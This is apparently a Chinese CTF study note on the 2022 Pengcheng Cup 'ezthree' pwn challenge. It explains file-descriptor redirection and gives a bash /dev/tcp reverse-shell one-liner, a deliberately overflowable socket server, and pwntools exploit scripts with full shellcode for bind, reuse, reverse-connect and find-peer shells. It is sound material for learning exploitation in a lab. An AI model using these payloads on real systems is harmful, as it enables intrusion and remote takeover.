这几天做了2022鹏城杯的ezthree这道题

接触到了一些之前没有深入去想过的东西,这里记录一下

0x1

这道题关闭了0,1,2这三个文件描述符,从而使得无法输入输出

但如果没有chroot,我们完全可以重新打开/dev/pts/ptmx获得一个新的终端并与之交互

(这里其实不太确定是不是要打开/dev/pts/n,但其实应该不是,毕竟这玩意有权限访问限制)

0x2

关于标准流重定向

1
2
3
4
command > file  #将标准输出1重定向到 file 里
command 1> file #将标准输出1重定向到 file 里,与上面的写法功能一样
command 2> file #将标准错误输出1重定向到 file 里
command &> file #将标准输出1 与 标准错误输出2 一起重定向到 file 里

>&可以用于互相重定向

1
exec 0>&1

利用这点,如果程序运行的是bash,那么还有一种利用/dev/tcp获得shell的方式

我们只需要在攻击端上监听一个端口(本质上就是建立一个tcp服务器等待连接)

nc -lvnp 6678

利用bash创建socket的特性,然后再在被攻击端执行

1
2
3
4
5
bash -i &> /dev/tcp/ip/port 0>&1
bash -i &> /dev/tcp/ip/port 0>&2
# 如果使用system执行以上命令的话,需要改成如下形式
bash -c "bash -i &> /dev/tcp/ip/port 0>&1"
bash -c "bash -i &> /dev/tcp/ip/port 0>&2"

bash -i :创建一个交互式shell

1
&>` :将stdout和stderr都重定向到stdout。`>&`跟它的功能一样,当使用`>& file`或`&> file`时,等同于`> file 2>&1

/dev/tcp/ip/port :利用bash的特性,创建一个socket连接

0>&1 :将stdin重定向给stdout

0>&2 :将stdin重定向给stderr

bash -c "command" :创建一个子shell环境运行command

现在攻击端就获得了一个shell

0x3

参考深入理解 pwn 题中的正连/反连 tcp | blingbling’s blog (blingblingxuanxuan.github.io)

直接用佬的代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<unistd.h>
#include<sys/socket.h>
#include<arpa/inet.h>

int main(int argc,char **argv){
int jmp = 0xe4ff;
int sckfd,fd;
char buf[10];
struct sockaddr_in server;
sckfd = socket(AF_INET,SOCK_STREAM,0);
server.sin_family = AF_INET;
server.sin_port = htons(8888);
server.sin_addr.s_addr = inet_addr("0.0.0.0");
bind(sckfd,(struct sockaddr *)&server,sizeof(server));
listen(sckfd,10);
fd = accept(sckfd,NULL,NULL);
read(fd,buf,1000);

return 0;
}

sh()

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = b'a'*30
payload += p64(0x40120c)
payload += asm(shellcraft.sh())

pr.sendline(payload)
pr.interactive()

运行可以发现,进程的确会启动一个shell

但是这个shell的三个标准流都是绑定到对应的伪终端的

1
2
3
4
5
6
7
 aichch  /proc/36968/fd  file 0
0: symbolic link to /dev/pts/0
aichch  /proc/36968/fd  file 1
1: symbolic link to /dev/pts/0
aichch  /proc/36968/fd  file 2
2: symbolic link to /dev/pts/0
aichch  /proc/36968/fd 

而我们与之建立连接的是一个socket

那显然我们是无法与shell进行交互的,除非将0,1,2都重定向到socket

到这里再研究一下,平常我们做pwn题的时候为什么可以直接与拿到的shell进行交互

1
2
3
lrwx------ 1 ctf ctf 64 Mar 13 13:52 0 -> 'socket:[14638737]'
lrwx------ 1 ctf ctf 64 Mar 13 13:52 1 -> 'socket:[14638737]'
lrwx------ 1 ctf ctf 64 Mar 13 13:52 2 -> 'socket:[14638737]'

这是一个docker中由ctf_xinted启动的进程

可以看到0,1,2都被链接到一个socket,而非本地的终端

因此最后我们可以与之交互

至于pwntools启动的进程,012则是一个pipe管道

真正直接启动的进程才是终端

bindsh() - 正连

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = b'a'*30
payload += p64(0x40120c)
payload += asm(shellcraft.bindsh(4444,'ipv4'))

pr.sendline(payload)

ff = remote('127.0.0.1',4444)
ff.interactive()

这个方法是在server1中通过socket()–>bind()–>listen()–>accept()创建一个新的socket监听端口,然后把server1的fd中 0 1 2全部指向新socket。这样接下来执行execve()后,输入输出就全定向到新socket流中。攻击进程主动向受害者进程的4444端口发起连接,就可以拿到受害者的输入输出,从而获得shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
.section .shellcode,"awx"
.global _start
.global __start
.p2align 2
_start:
__start:
.intel_syntax noprefix
/* call socket('AF_INET', 'SOCK_STREAM', 0) */
push 41 /* 0x29 */
pop rax
push 2 /* 2 */
pop rdi
push 1 /* 1 */
pop rsi
cdq /* rdx=0 */
syscall
/* Build sockaddr_in structure */
push rdx
mov edx, 0x1010101 /* (AF_INET | (23569 << 16)) == 0x5c110002 */
xor edx, 0x5d100103
push rdx
/* rdx = sizeof(struct sockaddr_in6) */
push 0x10
pop rdx
/* Save server socket in rbp */
mov rbp, rax
/* call bind('rax', 'rsp', 'rdx') */
mov rdi, rax
push 49 /* 0x31 */
pop rax
mov rsi, rsp
syscall
/* call listen('rbp', 1) */
push 50 /* 0x32 */
pop rax
mov rdi, rbp
push 1
pop rsi
syscall
/* call accept('rbp', 0, 0) */
push 43 /* 0x2b */
pop rax
mov rdi, rbp
xor esi, esi /* 0 */
cdq /* rdx=0 */
syscall
/* dup() file descriptor rax into stdin/stdout/stderr */
dup_4:
mov rbp, rax
push 3
loop_5:
pop rsi
dec rsi
js after_6
push rsi
/* call dup2('rbp', 'rsi') */
push 33 /* 0x21 */
pop rax
mov rdi, rbp
syscall
jmp loop_5
after_6:
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push 59 /* 0x3b */
pop rax
syscall

这里用到了一个dup2系统调用,其用于重定向文件描述符:通过 dup2(oldfd, newfd),可以将文件描述符 oldfd 复制到文件描述符 newfd 上,如果 newfd 已经打开了一个文件,dup2 会先关闭 newfd 所指向的文件,然后将 oldfd 复制到 newfd 上。

举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
int fd = open("output.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd == -1) {
perror("open");
exit(EXIT_FAILURE);
}

if (dup2(fd, STDOUT_FILENO) == -1) {
perror("dup2");
exit(EXIT_FAILURE);
}

close(fd);

printf("This will be written to output.txt\n");

return 0;
}

程序将标准输出重定向到了一个名为 output.txt 的文件中,因此 printf 输出的内容会被写入到 output.txt 文件中,而不是显示在终端上

dupsh()

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = b'a'*30
payload += p64(0x40120c)
payload += asm(shellcraft.dupsh(4))

pr.sendline(payload)

pr.interactive()

和上一个差不多,只不过复用了连接的fd,只对于这个例子来说,一般做题显然不会自带有这个fd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
.section .shellcode,"awx"
.global _start
.global __start
.p2align 2
_start:
__start:
.intel_syntax noprefix
/* dup() file descriptor 4 into stdin/stdout/stderr */
dup_1:
push 4
pop rbp
push 3
loop_2:
pop rsi
dec rsi
js after_3
push rsi
/* call dup2('rbp', 'rsi') */
push 33 /* 0x21 */
pop rax
mov rdi, rbp
syscall
jmp loop_2
after_3:
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push 59 /* 0x3b */
pop rax
syscall

connect()+dupsh() - 反连

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = b'a'*30
payload += p64(0x40120c)
payload += asm(shellcraft.connect('127.0.0.1',4444,'ipv4')+shellcraft.dupsh())

pr.sendline(payload)

#pr.interactive()

本方法是利用server主动去connect我们监听的端口,建立socket连接,并用这个socket去覆盖原本的 0 1 2,达到将输出定向到远端的目的。

findpeersh()

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = b'a'*30
payload += p64(0x40120c)
payload += asm(shellcraft.findpeersh(pr.lport))

pr.sendline(payload)

pr.interactive()

本方法是在server1进程中寻找与pr.lport端口有连接的socket,并覆盖原来fd的0 1 2。攻击进程中成功拿到shell时的连接情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
.section .shellcode,"awx"
.global _start
.global __start
.p2align 2
_start:
__start:
.intel_syntax noprefix
findpeer_4:
/* File descriptor in rdi */
push -1
pop rdi
/* struct sockaddr * in rsi */
mov rsi, rsp
/* Size of address structure */
/* push 0x20 */
push 0x20
loop_5:
/* Next file descriptor */
inc rdi
/* See if it is a valid socket */
/* call getpeername('rdi', 'rsi', 'rsp') */
push 52 /* 0x34 */
pop rax
mov rdx, rsp
syscall
/* Was it successful? */
test eax, eax
/* No? Try the next */
jnz loop_5
/* Check if port is right */
lea rax, [rsp + 10]
mov ax, [rax]
cmp ax, 59083
jne loop_5
/* Socket found, it is in RDI */
/* dup() file descriptor rdi into stdin/stdout/stderr */
dup_6:
mov rbp, rdi
push 3
loop_7:
pop rsi
dec rsi
js after_8
push rsi
/* call dup2('rbp', 'rsi') */
push 33 /* 0x21 */
pop rax
mov rdi, rbp
syscall
jmp loop_7
after_8:
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push 59 /* 0x3b */
pop rax
syscall

这个还不太理解

getpeername 是一个系统调用,用于获取与某个套接字(socket)关联的对端(peer)的地址信息。